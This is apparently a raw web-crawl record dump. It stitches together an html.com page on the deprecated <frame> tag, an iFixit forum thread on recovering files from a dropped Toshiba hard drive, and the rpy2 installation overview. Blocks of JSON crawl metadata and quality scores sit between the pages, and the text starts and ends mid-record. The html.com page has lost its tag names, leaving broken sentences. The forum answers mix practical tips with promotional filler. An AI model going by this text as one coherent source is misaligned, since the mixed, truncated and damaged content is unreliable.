"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.01313025038689375,
"rps_doc_frac_chars_top_3gram": 0.054621849209070206,
"rps_doc_frac_chars_top_4gram": 0.0714285671710968,
"rps_doc_books_importance": -319.9994201660156,
"rps_doc_books_importance_length_correction": -319.9994201660156,
"rps_doc_openwebtext_importance": -179.87747192382812,
"rps_doc_openwebtext_importance_length_correction": -179.87747192382812,
"rps_doc_wikipedia_importance": -159.85707092285156,
"rps_doc_wikipedia_importance_length_correction": -159.85707092285156
},
"fasttext": {
"dclm": 0.20141267776489258,
"english": 0.8770915865898132,
"fineweb_edu_approx": 1.0487645864486694,
"eai_general_math": 0.20876669883728027,
"eai_open_web_math": 0.17999804019927979,
"eai_web_code": 0.5878605246543884
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.746",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-6,246,427,717,259,548,000 | Deprecated in HTML5. Do not use.
How to Use <frame> Tags in Your HTML Code
Sharing is caring!
Element of
How To Use <frame> Tags In HTML
What does How to Use <frame> Tags in Your HTML Code do?
The <frame> element was used to break a single browser window into multiple independent browsing contexts. Frames have been deprecated and should not used by modern websites.
Display
block
Usage
structural
vs.
Frames provided a way to split the browser window into several individual browsing contexts, each displaying an independent HTML document. You probably suffered through a number of poorly-designed frame-based websites if you spent any time online in the early part of the 21st century. The most common design pattern that used “ elements was a menu-and-display panel approach that reloaded some content in a frame as you clicked on menu items (all without the URL in your navigation bar changing, making it impossible to link to any particular view).
Frames are now deprecated in HTML5, but the ability to place one document inside another still exists. You can do this in an [](/tags/iframe/). And it is important to realize that is not simply a renamed or updated version of . An is an “inline” frame (or, some would call it, and “internal frame). This does not split the browser window into separate contexts but rather embeds one document into another.
Adam is a technical writer who specializes in developer documentation and tutorials. | {
"url": "https://html.com/tags/frame/",
"source_domain": "html.com",
"snapshot_id": "crawl=CC-MAIN-2019-30",
"warc_metadata": {
"Content-Length": "119743",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:AISMBDWFMJBLFBG6CKUG23BQO3ZEEAN5",
"WARC-Concurrent-To": "<urn:uuid:52361e8f-26af-4f03-ab18-6064b1795739>",
"WARC-Date": "2019-07-21T23:23:50Z",
"WARC-IP-Address": "104.27.137.90",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:SYVOQMI2W26CW5H45OZBMPUWQXB4E533",
"WARC-Record-ID": "<urn:uuid:6eb9c4c6-3315-404a-968a-a7fec4b96a75>",
"WARC-Target-URI": "https://html.com/tags/frame/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:4c1bfcb8-4ebc-4a37-a248-9e7848114f53>"
},
"warc_info": "isPartOf: CC-MAIN-2019-30\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-157-146-93.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
33,
34,
76,
77,
96,
97,
108,
140,
196,
371,
379,
385,
391,
402,
403,
407,
408,
959,
960,
1366,
1367
],
"line_end_idx": [
33,
34,
76,
77,
96,
97,
108,
140,
196,
371,
379,
385,
391,
402,
403,
407,
408,
959,
960,
1366,
1367,
1451
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1451,
"ccnet_original_nlines": 21,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.38327527046203613,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.024390239268541336,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1428571343421936,
"rps_doc_frac_unique_words": 0.5619834661483765,
"rps_doc_mean_word_length": 4.785123825073242,
"rps_doc_num_sentences": 16,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.6454901695251465,
"rps_doc_word_count": 242,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.11312607675790787,
"rps_doc_frac_chars_dupe_6grams": 0.06994818896055222,
"rps_doc_frac_chars_dupe_7grams": 0.05354059115052223,
"rps_doc_frac_chars_dupe_8grams": 0.05354059115052223,
"rps_doc_frac_chars_dupe_9grams": 0.05354059115052223,
"rps_doc_frac_chars_top_2gram": 0.012953369878232479,
"rps_doc_frac_chars_top_3gram": 0.020725389942526817,
"rps_doc_frac_chars_top_4gram": 0.03367875888943672,
"rps_doc_books_importance": -139.68325805664062,
"rps_doc_books_importance_length_correction": -135.4318084716797,
"rps_doc_openwebtext_importance": -73.22074127197266,
"rps_doc_openwebtext_importance_length_correction": -73.22074127197266,
"rps_doc_wikipedia_importance": -59.825443267822266,
"rps_doc_wikipedia_importance_length_correction": -51.25425338745117
},
"fasttext": {
"dclm": 0.07575107365846634,
"english": 0.8972416520118713,
"fineweb_edu_approx": 2.662940740585327,
"eai_general_math": 0.19922053813934326,
"eai_open_web_math": 0.10723245143890381,
"eai_web_code": 0.404634952545166
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-2,136,189,808,273,589,000 | Skip to main content
Repair information on hard drives or hard disks. Hard drives are magnetic data storage devices. They are used in most desktop, laptop, and server due to their low cost and high data density.
108 Vragen Bekijk alle
How to recover files from broken toshiba HDD?
I have a toshiba HDD but it was broken, i just want to recover all my files. what will i do recover my files?
Answered! View the answer I have this problem too
Is this a good question?
Score 7
Commentaar:
What is broken on your drive? What are the symptoms, and what have you tried?
by
Does this drive can be recognized by windows? You could go to windows disk management to see whether it is displayed there and what is the status..
Have you tried some data recovery software? Like TestDisk it is a freeware.
by
Its not connecting to usb port and ive tried multiple wires and ports
by
Voeg een opmerking toe
Android Fix Kits
Slechts één reparatie scheidt jou van een nieuw scherm of een nieuwe batterij.
Nu winkelen
Android Fix Kits
Slechts één reparatie scheidt jou van een nieuw scherm of een nieuwe batterij.
Nu winkelen
5 Antwoorden
Chosen Solution
There is one way that you can try at home. See if you can get the PCB for that same drive. Sometimes you can get those from ebay.com and even other sources. You may have to do a comprehensive search based on the model number of your drive. Once you have it, replace the PCB and start to recover the files. This will only work if the failure of your drive is caused by an element on the PCB. If it is caused by an internal part, i.e. Platter, read/write heads, or the head actuator, you wont fix it at home. There is also a possibility that it could be the drive motor. The only other way would be to recover your files through one of the many commercial services. This is usually costly and would depend on the importance of your files. Hope this helps to get you started in the right direction.
Was this answer helpful?
Score 4
Commentaar:
actually my brother drop the hdd (external hdd toshiba 320gb) while transfering some files. is there a way for me to recover other files?
by
Does the drive still respond? What drive is it and I assume that it connects via USB? Have you looked at the actually drive and the enclosure separate?
by
If the drive was in use when your brother dropped it the mechanical systems most likely got damaged (head assembly & platters). What happens here is the heads dig-in to the platters both getting damaged. Some laptops have special sensors to park the heads before the system hits the ground. Sorry to say I don't know of any external HD's that have this technology. If they did the minor bumps these drives get wouldn't kill them (makes no difference on the physical size of the drive 2.5 or 3.5 all are susceptible). SSD's on the other hand can be banged into walls and dropped many stories without a worry which is one reason they are becoming the ideal choice for portable storage.
by
Voeg een opmerking toe
I've used a usb to ide/sata drive adapter on lots of drives that won't boot or have the "tick of death" to copy off files.
It may not work 100% of the time, but, I've managed to recover data on probably 8 out of 10 drives.
Was this answer helpful?
Score 2
Commentaar:
Btw, I typically use Ubuntu or Knoppix to copy off the files. In the past I've had windows boot cd's give me copy errors.
by
If nothing else, you may try SpinRite. It's an oldie, but a good program. It may not be quick, I've heard of a couple occasions it can run 48 hours, but it does a sector by sector recovery.
Be sure to post back if you resolved your problem, it helps others that may be search the web for solutions to land on iFixit.
Good luck!!
by
Hi, I tried using a usb to ide/sata drive adapter on my Toshiba Stor.E (Model No. HDWC130EW3J1 )3TB External Hard Drive to recover data as you suggested, One good thing was the drive fired up and windows recognised it but unfortunately I could not get to the data as it said I needed to format the drive which I do not wish to do, the main problem with the drive is it will not power up due to the faulty pcb controller board.
by
INVESTIGATE USB, AND OR CORD I FIXED MINE WHEN I READ ABOUT SOMEONE ELSE HAD A CRUSHED usb PART AND GOT A NEW USB. I REMEMBERED MY MP3 HAD A SIMILAR USB CORD AND FOUND THAT WHEN I EXCHANGED THEM THEY BOTH WORKED PROPERLY AGAIN. I HAD MIXED THEM UP LAST YEAR WHEN A BUNCH OF CORDS WERE BEHIND MY COMPUTER.
by
Voeg een opmerking toe
If your computer cannot boot due to the crashed hard drive, remove and connect it to another Windows computer. Check if you can access to the Windows system and the hard drive can be detected. If the hard drive can be detected but you can’t access to your data on it, you can retrieve data from crashed hard drive with hard drive data recovery tool.
Was this answer helpful?
Score 0
Voeg een opmerking toe
See dear any type of physical stress like dropping causes problem in the mechanical components of the drive. And when the mechanical components experiences any kind of physical stress then the hard drive gets physically damaged making the stored data inaccessible. But you need not to worry you just need not to tamper with the hard drive and consult a hard drive recovery expert as soon as possible. These experts will recover your data in a secure manner.
Was this answer helpful?
Score 0
Voeg een opmerking toe
I lost my laptop computer and only have my hard drive how do I recover my information stored on it
Was this answer helpful?
Score 0
Voeg een opmerking toe
Add your answer
Paul will be eternally grateful.
Bekijk statistieken:
Afgelopen 24 uren: 5
Afgelopen 7 dagen: 30
Afgelopen 30 dagen: 117
Aller tijden: 26,608 | {
"url": "https://nl.ifixit.com/Answers/View/84463/How+to+recover+files+from+broken+toshiba+HDD",
"source_domain": "nl.ifixit.com",
"snapshot_id": "crawl=CC-MAIN-2019-47",
"warc_metadata": {
"Content-Length": "120451",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:7IHSHJ6WLY53IJQFN7N2CSIXK3CLMITF",
"WARC-Concurrent-To": "<urn:uuid:9b152fc0-a18c-41dd-8c0c-0065a167ebb6>",
"WARC-Date": "2019-11-11T20:22:21Z",
"WARC-IP-Address": "75.101.159.182",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:HLTKUBZP5XVKHCKOYPJ7Y7PKK4MICUEE",
"WARC-Record-ID": "<urn:uuid:ad1539c5-a114-4f40-9564-4a6cb4a9f037>",
"WARC-Target-URI": "https://nl.ifixit.com/Answers/View/84463/How+to+recover+files+from+broken+toshiba+HDD",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:cf124845-14b1-429b-bdab-5fb98eacbe2c>"
},
"warc_info": "isPartOf: CC-MAIN-2019-47\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-153.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
21,
22,
213,
214,
237,
238,
284,
285,
395,
396,
446,
447,
472,
473,
481,
482,
494,
495,
573,
574,
577,
578,
726,
727,
803,
804,
807,
808,
878,
879,
882,
883,
906,
907,
924,
925,
1004,
1005,
1017,
1018,
1035,
1036,
1115,
1116,
1128,
1129,
1142,
1143,
1159,
1160,
1956,
1957,
1982,
1983,
1991,
1992,
2004,
2005,
2143,
2144,
2147,
2148,
2300,
2301,
2304,
2305,
2989,
2990,
2993,
2994,
3017,
3018,
3141,
3142,
3242,
3243,
3268,
3269,
3277,
3278,
3290,
3291,
3413,
3414,
3417,
3418,
3608,
3609,
3736,
3737,
3749,
3750,
3753,
3754,
4181,
4182,
4185,
4186,
4491,
4492,
4495,
4496,
4519,
4520,
4870,
4871,
4896,
4897,
4905,
4928,
4929,
5387,
5388,
5413,
5414,
5422,
5445,
5446,
5545,
5546,
5571,
5572,
5580,
5603,
5604,
5620,
5621,
5654,
5675,
5676,
5697,
5698,
5720,
5721,
5745,
5746
],
"line_end_idx": [
21,
22,
213,
214,
237,
238,
284,
285,
395,
396,
446,
447,
472,
473,
481,
482,
494,
495,
573,
574,
577,
578,
726,
727,
803,
804,
807,
808,
878,
879,
882,
883,
906,
907,
924,
925,
1004,
1005,
1017,
1018,
1035,
1036,
1115,
1116,
1128,
1129,
1142,
1143,
1159,
1160,
1956,
1957,
1982,
1983,
1991,
1992,
2004,
2005,
2143,
2144,
2147,
2148,
2300,
2301,
2304,
2305,
2989,
2990,
2993,
2994,
3017,
3018,
3141,
3142,
3242,
3243,
3268,
3269,
3277,
3278,
3290,
3291,
3413,
3414,
3417,
3418,
3608,
3609,
3736,
3737,
3749,
3750,
3753,
3754,
4181,
4182,
4185,
4186,
4491,
4492,
4495,
4496,
4519,
4520,
4870,
4871,
4896,
4897,
4905,
4928,
4929,
5387,
5388,
5413,
5414,
5422,
5445,
5446,
5545,
5546,
5571,
5572,
5580,
5603,
5604,
5620,
5621,
5654,
5675,
5676,
5697,
5698,
5720,
5721,
5745,
5746,
5766
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5766,
"ccnet_original_nlines": 136,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.394540935754776,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07113316655158997,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.12655086815357208,
"rps_doc_frac_unique_words": 0.3827977180480957,
"rps_doc_mean_word_length": 4.26654052734375,
"rps_doc_num_sentences": 72,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.380744934082031,
"rps_doc_word_count": 1058,
"rps_doc_frac_chars_dupe_10grams": 0.07022596150636673,
"rps_doc_frac_chars_dupe_5grams": 0.11829862743616104,
"rps_doc_frac_chars_dupe_6grams": 0.09326539933681488,
"rps_doc_frac_chars_dupe_7grams": 0.08218874782323837,
"rps_doc_frac_chars_dupe_8grams": 0.07022596150636673,
"rps_doc_frac_chars_dupe_9grams": 0.07022596150636673,
"rps_doc_frac_chars_top_2gram": 0.019937969744205475,
"rps_doc_frac_chars_top_3gram": 0.02126717008650303,
"rps_doc_frac_chars_top_4gram": 0.025254759937524796,
"rps_doc_books_importance": -473.2198791503906,
"rps_doc_books_importance_length_correction": -473.2198791503906,
"rps_doc_openwebtext_importance": -264.44952392578125,
"rps_doc_openwebtext_importance_length_correction": -264.44952392578125,
"rps_doc_wikipedia_importance": -107.29258728027344,
"rps_doc_wikipedia_importance_length_correction": -107.29258728027344
},
"fasttext": {
"dclm": 0.2839435935020447,
"english": 0.8666688203811646,
"fineweb_edu_approx": 1.7671828269958496,
"eai_general_math": 0.08440917730331421,
"eai_open_web_math": 0.38861578702926636,
"eai_web_code": 0.07173097133636475
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.72",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-7,777,809,050,352,729,000 | Overview
Background
Python is a popular all-purpose scripting language, while R (an open source implementation of the S/Splus language) is a scripting language mostly popular for data analysis, statistics, and graphics. If you are reading this, there are good chances that you are at least familiar with one or both.
Having an interface between both languages to benefit from the libraries of one language while working in the other appeared desirable; an early option to achieve it was the RSPython project, itself part of the Omegahat project.
A bit later, the RPy project appeared and focused on providing simple and robust access to R from within Python, with the initial Unix-only releases quickly followed by Microsoft and MacOS compatible versions. This project is referred to as RPy-1.x in the rest of this document.
The present documentation describes RPy2, an evolution of RPy-1.x. Naturally RPy2 is inspired by RPy, but also by Alexander Belopolsky’s contributions that were waiting to be included into RPy.
This effort can be seen as a redesign and rewrite of the RPy package, and this unfortunately means there is not enough left in common to ensure compatibility.
Installation
Docker image
There are few Docker images available to try rpy2 out without even reading about requirements (e.g., R installed compiled with the shared library flag). The Docker images can also be an easy start for Windows users.
More information is available here: https://github.com/rpy2/rpy2-docker
Requirements
Currently the development is done on UNIX-like operating systems with the following software versions. Those are the recommended versions to run rpy2 with.
Software
Versions
Python
>=3.7
R
>=4.0
Running Rpy2 will require compiled libraries for R, Python, and readline; building rpy2 will require the corresponding development headers (check the documentation for more information about builing rpy2).
Note
Running rpy2 on Windows is currently not supported although relative success was recently reported with the lastest in the 3.3.x series.
Alternative Python implementations
CPython is the target implementation, and because of presence of C code in rpy2 is it currently not possible to run the package on Jython. For that same reason, running it with Pypy is expected to require some effort.
Upgrading from an older release of rpy2
In order to upgrade one will have to first remove older installed rpy2 packages then and only then install a version of rpy2.
To do so, or to check whether you have an earlier version of rpy2 installed, do the following in a Python console:
import rpy2
rpy2.__path__
An error during execution means that you do not have any older version of rpy2 installed and you should proceed to the next section.
If this returns a string containing a path, you should go to that path and remove all files and directories starting with rpy2. To make sure that the cleaning is complete, open a new Python session and check that the above code results in an error.
Download
The following options are available for download:
• Source packages. Released versions are available on Pypi (Sourceforge is no longer used). Snapshots of the development version can be downloaded from github
Note
The repository on bitbucket has several release branches starting with v.
• Pre-compiled binary packages for
• Apple’s MacOS X are now also available on pypi
• Linux distributions are sometimes available. Check with your distribution
Linux precompiled binaries
Linux distribution have packaging systems, and rpy2 is present in a number of them, either as a pre-compiled package or a source package compiled on-the-fly.
Note
Those versions will often be older than the latest rpy2 release.
Known distributions are: Debian and related (such as Ubuntu - often the most recent thanks to Dirk Eddelbuettel), Suse, RedHat, Mandrake, Gentoo.
OS X (MacOS) precompiled binaries
rpy2 is in Macports, Homebrew, and Fink. Binary are now also availabe on pypi.
Install from source
easy_install and pip
The source package is on the PYthon Package Index (PYPI), and the pip or easy_install scripts can be used whenever available. The shell command will then just be:
# minimal
pip install rpy2
# or
# to run tests
pip install rpy2[test]
# or
# all dependencies
pip install rpy2[all]
Upgrading an existing installation is done with:
# recommended:
pip install rpy2 --upgrade
Both utilities have a list of options and their respective documentation should be checked for details.
Note
Starting with rpy2 3.2.0, rpy2 can built and used with cffi’s ABI or API modes (releases 3.0.x and 3.1.x were using the ABI mode exclusively). At the time of writing the default is still the ABI mode but the choice can be controlled through the environment variable RPY2_CFFI_MODE. If set, possible values are ABI (default if the environment variable is not set), API, or BOTH. When the latter, both API and ABI modes are built, and the choice of which one to use can be made at run time.
source archive
To install from a downloaded source archive <rpy_package>, do in a shell:
tar -xzf <rpy_package>.tar.gz
cd <rpy_package>
python setup.py build install
# or
pip install .
# or (to install requirements to test
pip install .[test]
This will build the package, guessing the R HOME from the R executable found in the PATH.
Compiling on Linux
Given that you have the libraries and development headers listed above, this should be butter smooth.
The most frequent errors seem to be because of missing headers.
Compiling on OS X
XCode tools will be required in order to build rpy2 in API mode. Please refer to the documentation on the Apple site for more details about what they are and how to install them.
Test an installation
An installation can be tested for functionalities, and whenever necessary the different layers constituting the packages can be tested independently.
pytest --pyargs 'rpy2.tests'
The documentation for pytest should be consulted to customize how tests are run.
Contents
The package is made of several sub-packages or modules:
rpy2.rinterface
Low-level interface to R, when speed and flexibility matter most. Close to R’s C-level API.
rpy2.robjects
High-level interface, when ease-of-use matters most. Should be the right pick for casual and general use. Based on the previous one.
rpy2.interactive
High-level interface, with an eye for interactive work. Largely based on rpy2.robjects.
rpy2.rlike
Data structures and functions to mimic some of R’s features and specificities in pure Python (no embedded R process).
Design notes
When designing rpy2, attention was given to:
• render the use of the module simple from both a Python or R user’s perspective,
• minimize the need for knowledge about R, and the need for tricks and workarounds,
• allow to customize a lot while remaining at the Python level (without having to go down to C-level).
rpy2.robjects implements an extension to the interface in rpy2.rinterface by extending the classes for R objects defined there with child classes.
The choice of inheritance was made to facilitate the implementation of mostly inter-exchangeable classes between rpy2.rinterface and rpy2.robjects. For example, an rpy2.rinterface.SexpClosure can be given any rpy2.robjects.RObject as a parameter while any rpy2.robjects.Function can be given any rpy2.rinterface.Sexp. Because of R’s functional basis, a container-like extension is also present.
However, inheritance is not the only choice. Any custome class implementing the interface rpy2.rinterface.SupportsSEXP can integrate seamlessly and be used with the rest of rpy2.
Acknowledgements
Acknowledgements for contributions, support, and early testing go to (alphabetical order):
Philipp A., Alexander Belopolsky, Dan Brown, Beau Bruce, Brad Buran, Erik Cederstrand, Brad Chapman, Evgeny Cherkashin, Dav Clark, Peter Cock, Michaël Defferrard, Dirk Eddelbuettel, Isuru Fernando, Daniel Ge, Christoph Gohlke, Dale Jung, Thomas Kluyver, David Koppstein, Michał Krassowski, Antony Lee, Kenneth Lyons, Mikolaj Magnuski, Gijs Molenaar, Walter Moreira, Laurent Oget, Pablo Oliveira, John Owens, Fabian Philips, Andrey Portnoy, Nicolas Rapin, Brad Reisfeld, Joon Ro, Andy Shapiro, Justin Shenk, Grzegorz Slodkowicz, Joan Smith, Nathaniel J. Smith, Jeff Tratner, Gregory Warnes, Liang-Bo Wang, as well as the JRI author(s), the R authors, R-help list responders, Numpy list responders, and other contributors. | {
"url": "https://rpy2.github.io/doc/latest/html/overview.html",
"source_domain": "rpy2.github.io",
"snapshot_id": "crawl=CC-MAIN-2021-31",
"warc_metadata": {
"Content-Length": "25343",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:DU6ZLQ7C6JMFVSA2BDAGYQERYEFK5GD4",
"WARC-Concurrent-To": "<urn:uuid:42d212ee-91a1-40e1-8f9b-4b4e49f8cd53>",
"WARC-Date": "2021-07-24T10:42:10Z",
"WARC-IP-Address": "185.199.108.153",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:UJHW3SHWJGEB6BKANYEGCJ5MUUMVDT3N",
"WARC-Record-ID": "<urn:uuid:3727a348-6da3-4924-8cc4-5d0790e059ee>",
"WARC-Target-URI": "https://rpy2.github.io/doc/latest/html/overview.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:617171a1-ef01-4577-a6e7-69207f2da235>"
},
"warc_info": "isPartOf: CC-MAIN-2021-31\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July/August 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-204.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
9,
10,
21,
22,
319,
320,
549,
550,
829,
830,
1024,
1025,
1184,
1185,
1198,
1199,
1212,
1213,
1429,
1430,
1502,
1503,
1516,
1517,
1673,
1674,
1683,
1684,
1693,
1694,
1701,
1702,
1708,
1709,
1711,
1712,
1718,
1719,
1925,
1926,
1931,
1932,
2069,
2070,
2105,
2106,
2324,
2325,
2365,
2366,
2492,
2493,
2608,
2609,
2621,
2635,
2636,
2769,
2770,
3019,
3020,
3029,
3030,
3080,
3081,
3242,
3243,
3252,
3253,
3331,
3332,
3369,
3370,
3423,
3424,
3504,
3505,
3532,
3533,
3691,
3692,
3697,
3698,
3763,
3764,
3910,
3911,
3945,
3946,
4025,
4026,
4046,
4047,
4068,
4069,
4232,
4233,
4243,
4260,
4261,
4266,
4281,
4304,
4305,
4310,
4329,
4351,
4352,
4401,
4402,
4423,
4450,
4451,
4555,
4556,
4561,
4562,
5051,
5052,
5067,
5068,
5142,
5143,
5173,
5190,
5191,
5192,
5222,
5227,
5241,
5279,
5299,
5300,
5390,
5391,
5410,
5411,
5513,
5514,
5578,
5579,
5597,
5598,
5777,
5778,
5799,
5800,
5950,
5951,
5980,
5981,
6062,
6063,
6072,
6073,
6129,
6130,
6146,
6147,
6239,
6240,
6254,
6255,
6388,
6389,
6406,
6407,
6495,
6496,
6507,
6508,
6626,
6627,
6640,
6641,
6686,
6687,
6771,
6772,
6858,
6859,
6964,
6965,
7112,
7113,
7508,
7509,
7688,
7689,
7706,
7707,
7798,
7799
],
"line_end_idx": [
9,
10,
21,
22,
319,
320,
549,
550,
829,
830,
1024,
1025,
1184,
1185,
1198,
1199,
1212,
1213,
1429,
1430,
1502,
1503,
1516,
1517,
1673,
1674,
1683,
1684,
1693,
1694,
1701,
1702,
1708,
1709,
1711,
1712,
1718,
1719,
1925,
1926,
1931,
1932,
2069,
2070,
2105,
2106,
2324,
2325,
2365,
2366,
2492,
2493,
2608,
2609,
2621,
2635,
2636,
2769,
2770,
3019,
3020,
3029,
3030,
3080,
3081,
3242,
3243,
3252,
3253,
3331,
3332,
3369,
3370,
3423,
3424,
3504,
3505,
3532,
3533,
3691,
3692,
3697,
3698,
3763,
3764,
3910,
3911,
3945,
3946,
4025,
4026,
4046,
4047,
4068,
4069,
4232,
4233,
4243,
4260,
4261,
4266,
4281,
4304,
4305,
4310,
4329,
4351,
4352,
4401,
4402,
4423,
4450,
4451,
4555,
4556,
4561,
4562,
5051,
5052,
5067,
5068,
5142,
5143,
5173,
5190,
5191,
5192,
5222,
5227,
5241,
5279,
5299,
5300,
5390,
5391,
5410,
5411,
5513,
5514,
5578,
5579,
5597,
5598,
